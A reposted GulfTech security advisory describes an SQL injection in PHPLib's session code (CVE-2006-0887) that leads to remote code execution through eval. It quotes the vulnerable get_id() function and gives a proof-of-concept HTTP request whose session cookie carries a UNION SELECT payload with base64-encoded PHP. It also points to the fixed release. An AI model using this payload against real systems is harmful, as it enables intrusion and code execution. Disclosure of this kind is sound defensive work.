PHPLib < 7.4 SQL Injection

2018.01.20
Credit: GulfTech
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-89


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

PHPLib SQL Injection Vendor: PHPLib Product: PHPLib Version: <= 7.4 Website: http://phplib.sourceforge.net/ BID: 16801 CVE: CVE-2006-0887 CVE-2006-2826 OSVDB: 23466 SECUNIA: 16902 Description: The PHP Base Library aka PHPLib is a toolkit for PHP developers supporting them in the development of Web applications. The phpLib codebase can be found in a number of applications available today. Unfortunately some of the session emulation code is vulnerable to SQL Injection issues that in a worst case scenario can lead to remote code execution by using UNION and selecting arbitrary php code into an eval call. A new version og PHPLib has been released and users should upgrade their PHPLib libraries as soon as possible. Remote Code Execution: There are some serious security issues in phplib's session handling that may allow an attacker to perform a range of attacks such as SQL Injection, and/or Remote Code Execution. ## Propagate the session id according to mode and lifetime. ## Will create a new id if necessary. To take over abandoned sessions, ## one may provide the new session id as a parameter (not recommended). function get_id($id = "") { global $HTTP_COOKIE_VARS, $HTTP_GET_VARS, $HTTP_POST_VARS, $HTTP_SERVER_VARS; $this->newid=true; $this->name = $this->cookiename==""?$this->classname:$this->cookiename; if ( "" == $id ) { $this->newid=false; switch ($this->mode) { case "get": $id = isset($HTTP_GET_VARS[$this->name]) ? $HTTP_GET_VARS[$this->name] : ( isset($HTTP_POST_VARS[$this->name]) ? $HTTP_POST_VARS[$this->name] : "") ; break; case "cookie": $id = isset($HTTP_COOKIE_VARS[$this->name]) ? $HTTP_COOKIE_VARS[$this->name] : ""; break; default: die("This has not been coded yet."); break; } } ### do not accept user provided ids for creation if($id != "" && $this->block_alien_sid) { # somehow an id was provided by the user if($this->that->ac_get_value($id, $this->name) == "") { # no - the id doesn't exist in the database: Ignore it! $id = ""; } } The above code is from sessions.inc @ lines 85-121. The variable $id gets it's values from either GET or COOKIE and is never made safe before being passed to the function ac_get_value() which uses the variable in a query, thus allowing for SQL Injection. However, it is possible to manipulate the query in a way that php code is returned and passed to a vulnerable eval call. GET /phplib/pages/index.php3 HTTP/1.1 Host: example.net User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Connection: keep-alive Cookie: Example_Session=' UNION SELECT 'cGhwaW5mbygpOw=='/* If-Modified-Since: Sat, 18 Feb 2006 18:24:34 GMT For example, the above request made to the index.php3 script that is shipped with phplib will successfully execute the phpinfo call. Solution: PHPLib 7.4a has been released to address these issues. Credits: James Bercegay of the GulfTech Security Research Team


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2018, cxsecurity.com

 

Back to Top